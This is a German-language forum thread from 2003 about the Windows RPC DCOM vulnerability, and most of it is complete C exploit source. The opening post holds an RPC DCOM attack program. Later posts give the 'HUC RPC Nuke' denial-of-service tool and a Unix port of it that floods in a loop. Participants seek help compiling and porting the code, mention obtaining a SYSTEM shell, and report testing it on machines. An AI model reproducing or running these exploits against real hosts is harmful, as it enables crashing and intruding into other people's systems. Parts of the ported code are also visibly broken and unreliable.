| Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig. |
Diskussion: Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Code: #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, ...
![]() |
| | #1 (permalink) |
| Registriert seit: 21.07.03 ![]() Likes: 0 | Anzeige Code: #include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
void main(int argc,char ** argv)
{
WSADATA WSAData;
int i;
SOCKET sock;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
} ist das für linux oder für windows geschrieben ? denk mal eher für windows... bekomm leider den fehler "fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei Fehler beim Ausführen von cl.exe." Ich habs mit Visual C++ versucht... Was ich aber jetzt eigentlich vorhatte war der Versuch das ganze Teil als Visual Basic programm zu schreiben, hab noch nie nen exploit in ne andere sprache umgewandelt und es reizt mich jetzt irgendwie )Leider musste ich feststellen das ich viel zu wenig Ahnung von C++ hab, Dieses ganze winsockzeugs sagt mir da einfach nix. Könnte mir das vielleicht jemand ein ganz klein wenig kommentieren ? Ich weiß, das ist nen großer gefallen aber naja, vielleicht findet sich ja jemand der lust hat. mfg hell hm da hab ich wohl das falsche forum erwischt, coding gibts ja extra, sorry... |
| | |
| | #2 (permalink) |
| Guest Likes: | ja, c++ ja, windows die socket routinen sind absolut unspekatakulär. der recv buffer (buf1) wird mit 4096 bytes deklariert (0x1000) Er holt siche einen Socketdeskriptor (socket) Er verbindet (connect) an port 135 Er sendet zunächst den shellcode der in bindstr steht Er liest die antwort (i = recv..) in buf1 Er sendet den shellcode, der in request steht Und liest wieder die antwort buf1 Also macht das Programm nichts anderes als 2 unterschiedliche arrays, gefüllt mit shellcode an port 135 des Zielsystems zu senden. fraglich, warum er sich die antwort extra einliest. Probier mal aus den code mit einem anderen, "DOS" compiler zu übersetzten. Bei Borland gibt es einen kostenlosen, der sehr gut ist. mfg Thomas |
|
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Themenstarter Registriert seit: 21.07.03 ![]() Likes: 0 | hmmm danke schonmal, wie wird denn der shellcode gesendet, alles auf einmal, alles einzelnd(duch komma getrennt).. in dos(c++) würde wenn der vuln pc erfolgreich exploitet wurde ne shell kommen mit system rechten. in vb befinde ich mich in einer gui und hab nur vermutungen wie ich die shell die ich bekommen soll in nen dos fenster bekomm. kenne mich mit buffer overflows nicht so aus. wenn ich netcat auf port 135 laufen lass ist das nicht des rätsels lösung oder ? ...suche jetzt erstmal nach dem c++ compiler... mfg hell |
| | |
| | #4 (permalink) |
| Themenstarter Registriert seit: 21.07.03 ![]() Likes: 0 | hmm wenn ich compilen will bcc32.exe c:\rpcexploit.h kommen 27 fehler ![]() kannst ma testen und mir dann sagen wie dus compiled hast ? danke |
| | |
| | #5 (permalink) |
| Registriert seit: 26.09.02 ![]() Likes: 0 | @hellcoder Code: #include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char sendcode1[] =
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";
char sendcode2[] =
"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";
char sendcode3[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";
char sendcode4[] =
"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d"
"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
"\x50\x10\x01\x00\x00\x00\x02\x00";
char sendcode5[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
"\x80\xf9\x00\x00\x00\x00\x02\x00";
char sendcode6[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
"\xb0\xe2\x00\x00\x00\x00\x02\x00";
char sendcode7[] =
"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
"\x60\x15\x00\x00\x00\x00\x02\x00";
char sendcode8[] =
"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *targetip;
int port,bufsize;
SOCKET s;
char buffer[20480];
printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n");
printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n\n");
if (argc < 2)
{
printf("Usage:\r\n");
printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]);
printf("Example:\r\n");
printf(" %s 192.168.0.1\r\n", argv[0]);
printf(" %s 192.168.0.1 135\r\n", argv[0]);
printf("PS:\r\n");
printf(" If target is XP, try 2 times.\r\n");
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
targetip = argv[1];
port = 135;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 512;
if (argc >= 4) bufsize = atoi(argv[3]);
s = socket(AF_INET, SOCK_STREAM, 0);
if(s==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}
printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(targetip)) == NULL)
{
printf("Resolve of %s failed, please try again.\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("Connecting...\n");
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}
printf("Connected!...\n");
printf("Sending Packets...\n");
if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
{
printf("Error sending nuke Packets\r\n");
closesocket(s);
exit(1);
}
memset(&buffer, '\x41', 240);
send(s, buffer, 240, 0);
send(s, sendcode2, sizeof(sendcode2)-1, 0);
memset(&buffer, '\x42', 5000);
send(s, buffer, 5000, 0);
send(s, sendcode3, sizeof(sendcode3)-1, 0);
memset(&buffer, '\x43', 512);
send(s, buffer, 512, 0);
send(s, sendcode4, sizeof(sendcode4)-1, 0);
// memset(&buffer, '\x44', 20480);
// send(s, buffer, 20480, 0);
// /*
memset(&buffer, '\x44', 5000);
send(s, buffer, 5000, 0);
send(s, sendcode5, sizeof(sendcode5)-1, 0);
memset(&buffer, '\x45', 5000);
send(s, buffer, 5000, 0);
send(s, sendcode6, sizeof(sendcode6)-1, 0);
memset(&buffer, '\x46', 5000);
send(s, buffer, 5000, 0);
send(s, sendcode7, sizeof(sendcode7)-1, 0);
memset(&buffer, '\x47', 5000);
send(s, buffer, 5000, 0);
send(s, sendcode8, sizeof(sendcode8)-1, 0);
memset(&buffer, '\x48', 5000);
send(s, buffer, 5000, 0);
// */
printf("Nuked! \r\nIf target is XP, try a again! :)\r\n");
closesocket(s);
WSACleanup();
return 0;
} Crux |
| | |
| | #6 (permalink) |
| Registriert seit: 24.07.03 ![]() Likes: 0 | was des ding genau macht nachdem er erfolgreich war weiß ich nicht - sollte man mal testet... des ding schickt einen request an port 135, an das ziel danach was (eine bestätigung) empfangen? - dann ist das ziel hackable danach kommt der code - wahrscheinlich ein shellcode sowas in vb zu realisieren düfte schwehr bis unmöglich sein! |
| | |
| | #7 (permalink) |
| Member of Honour ![]() Registriert seit: 06.03.03 ![]() Likes: 3 | Es gibt eine ähnliche Umsetzung für Linux Code: /* ************************************************************************ * MS WIN RPC DoS CODE FROM SPIKE v2.7 * * Compile it use: * win -> cl winnuke.c * most *nix -> cc -o winnuke winnuke.c * sunos -> cc -o winnuke winnuke.c -lsocket -lnsl * * Usage: * ./winnuke targetip * * Code by lion, Welcomde to HUC Website Http://www.cnhonker.com * 2002/10/22 * Ported to *nix by Padre Pio * (Thx to Carolo Wojtyla for the support and the *Admin* for the 5 seconds of testing) * Compile on various *nix flavours (Tested on Linux Slackware 7.1, SunOS 5.6, FreeBSD 4.6) * 2003/06/26 ************************************************************************ */ #include <stdio.h> #if defined(WIN32) #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #else #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #define SOCKET int #define INVALID_SOCKET -1 #define closesocket(s) close(s) #endif char sendcode1[] = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00"; char sendcode2[] = "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00"; char sendcode3[] = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"; char sendcode4[] = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x50\x10\x01\x00\x00\x00\x02\x00"; char sendcode5[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x80\xf9\x00\x00\x00\x00\x02\x00"; char sendcode6[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\xb0\xe2\x00\x00\x00\x00\x02\x00"; char sendcode7[] = "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00" "\x60\x15\x00\x00\x00\x00\x02\x00"; char sendcode8[] = "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00"; int main(int argc, char *argv[]) { #if defined(WIN32) WSADATA wsaData; WORD wVersionRequested; #endif struct hostent *pTarget; struct sockaddr_in sock; char *targetip; int port,bufsize; SOCKET s; char buffer[20480]; printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n"); printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n"); printf("================================ *nix Version =================================\r\n"); if (argc < 2) { printf("Usage:\r\n"); printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]); printf("Example:\r\n"); printf(" %s 192.168.0.1\r\n", argv[0]); printf(" %s 192.168.0.1 135\r\n", argv[0]); printf("PS:\r\n"); printf(" If target is XP, try 2 times.\r\n"); exit(1); } #if defined(WIN32) VersionRequested = MAKEWORD(1, 1); if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; */ #endif targetip = argv[1]; port = 135; if (argc >= 3) port = atoi(argv[2]); bufsize = 512; if (argc >= 4) bufsize = atoi(argv[3]); s = socket(AF_INET, SOCK_STREAM, 0); if(s==INVALID_SOCKET) { printf("Socket error!\r\n"); exit(1); } printf("Resolving Hostnames...\n"); if ((pTarget = gethostbyname(targetip)) == NULL) { printf("Resolve of %s failed, please try again.\n", argv[1]); exit(1); } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons(port); printf("Connecting...\n"); if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); exit(1); } printf("Connected!...\n"); printf("Sending Packets...\n"); if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1) { printf("Error sending nuke Packets\r\n"); closesocket(s); exit(1); } while(1){ memset(&buffer, '\x41', 240); send(s, buffer, 240, 0); send(s, sendcode2, sizeof(sendcode2)-1, 0); memset(&buffer, '\x42', 5000); send(s, buffer, 5000, 0); send(s, sendcode3, sizeof(sendcode3)-1, 0); memset(&buffer, '\x43', 512); send(s, buffer, 512, 0); send(s, sendcode4, sizeof(sendcode4)-1, 0); // memset(&buffer, '\x44', 20480); // send(s, buffer, 20480, 0); // /* memset(&buffer, '\x44', 5000); send(s, buffer, 5000, 0); send(s, sendcode5, sizeof(sendcode5)-1, 0); memset(&buffer, '\x45', 5000); send(s, buffer, 5000, 0); send(s, sendcode6, sizeof(sendcode6)-1, 0); memset(&buffer, '\x46', 5000); send(s, buffer, 5000, 0); send(s, sendcode7, sizeof(sendcode7)-1, 0); memset(&buffer, '\x47', 5000); send(s, buffer, 5000, 0); send(s, sendcode8, sizeof(sendcode8)-1, 0); memset(&buffer, '\x48', 5000); send(s, buffer, 5000, 0); // */ } printf("Nuked! \r\nIf target is XP, try again! :)\r\n"); closesocket(s); #if defined(WIN32) WSACleanup(); #endif return 0; } |
| | |
| | #8 (permalink) |
| Themenstarter Registriert seit: 21.07.03 ![]() Likes: 0 | Das was ihr da postet ist aber leider die alte rpc vuln mit der man rpc abschießen kann. das was ich gepostet hab ist ne ganz neue sicherheitslücke mit der man system access bekommt. Wollte das gerne mal irgendwie testen, aber schaffs absolut nicht es zu compilen, selbst wenn der eine fehler nicht mehr kommt kommen die nächsten 4... ![]() naja trotzdem danke. mfg hell |
| | |
| | #9 (permalink) |
| Member of Honour ![]() Registriert seit: 06.03.03 ![]() Likes: 3 | Jo du hast Recht. Warum fragst du nicht auf der Maillingliste nach? http://lists.netsys.com/pipermail/fu...ly/011529.html mfg p2k |
| | |
| | #10 (permalink) |
| Registriert seit: 24.07.03 ![]() Likes: 0 | beide exploits bringen den rpc dienst zum absturz - evtl auch den pc... hab beide grad mal getestet aber die sicherheitslücke kann man auch zum ausführen von einem beliebigem code verwenden, es gibt blos noch keine öffentliches eploits |
| | |
| | #11 (permalink) |
| Member of Honour ![]() Registriert seit: 06.03.03 ![]() Likes: 3 | Wenn RPC bei WIN2k/XP crashed rebootet das OS innerhalb von 1Min automatisch was sich auch leider nicht umgehen lässt. mfg p2k |
| | |
| | #12 (permalink) |
| Themenstarter Registriert seit: 21.07.03 ![]() Likes: 0 | umgehen lässt sich das schon, hab das mal irgendwie mittels vb gestoppt, ist nur nen kleiner befehl will mir jetzt aber nicht einfallen ![]() das dumme ist das man danach erstma wieder paar prozesse von hand starten muss... werd ma freund fragen wie das mit dem befehl war, dann post ich das hier nochma. |
| | |
| | #13 (permalink) |
| Registriert seit: 29.06.03 ![]() Likes: 0 | poiin2000: also ich hab bei mir auch mal rpc abgeschossen, da tat sich nix vonwegen reboot. |
| | |
| | #14 (permalink) |
| Guest Likes: | @TheVoid Der RPC-Remote-Shell-Exploit funktioniert nur bei "englischen Versionen" von Windows, was auch im Exploit selber drin steht. Der Aufbau und vorallem die Speicheradressen unterscheiden sich bei den verschieden sprachigen Windows-Versionen. Meiner Meinung nach liegt hier genau das Problem, warum z.B. deutsche WinXP-Versionen "rebooten" und englische scheinbar nicht. Sage mal, bei welcher Version Du das denn getestet hast?! MfG Rushjo |
|
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Buffer Overflow | MrNiceGuy | Code Kitchen | 4 | 07.06.05 12:56 |
| Buffer Overflow | ERit | Applikationen | 0 | 24.04.05 15:24 |
| Windows sp2 Buffer-Overflow schutz killen? | Ping | Windows | 4 | 07.02.05 14:47 |
| microsoft sieht keine probleme bei buffer-overflow | markg | (In)security allgemein | 0 | 02.02.05 15:20 |
| Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit | hellcoder | Code Kitchen | 81 | 29.02.04 19:49 |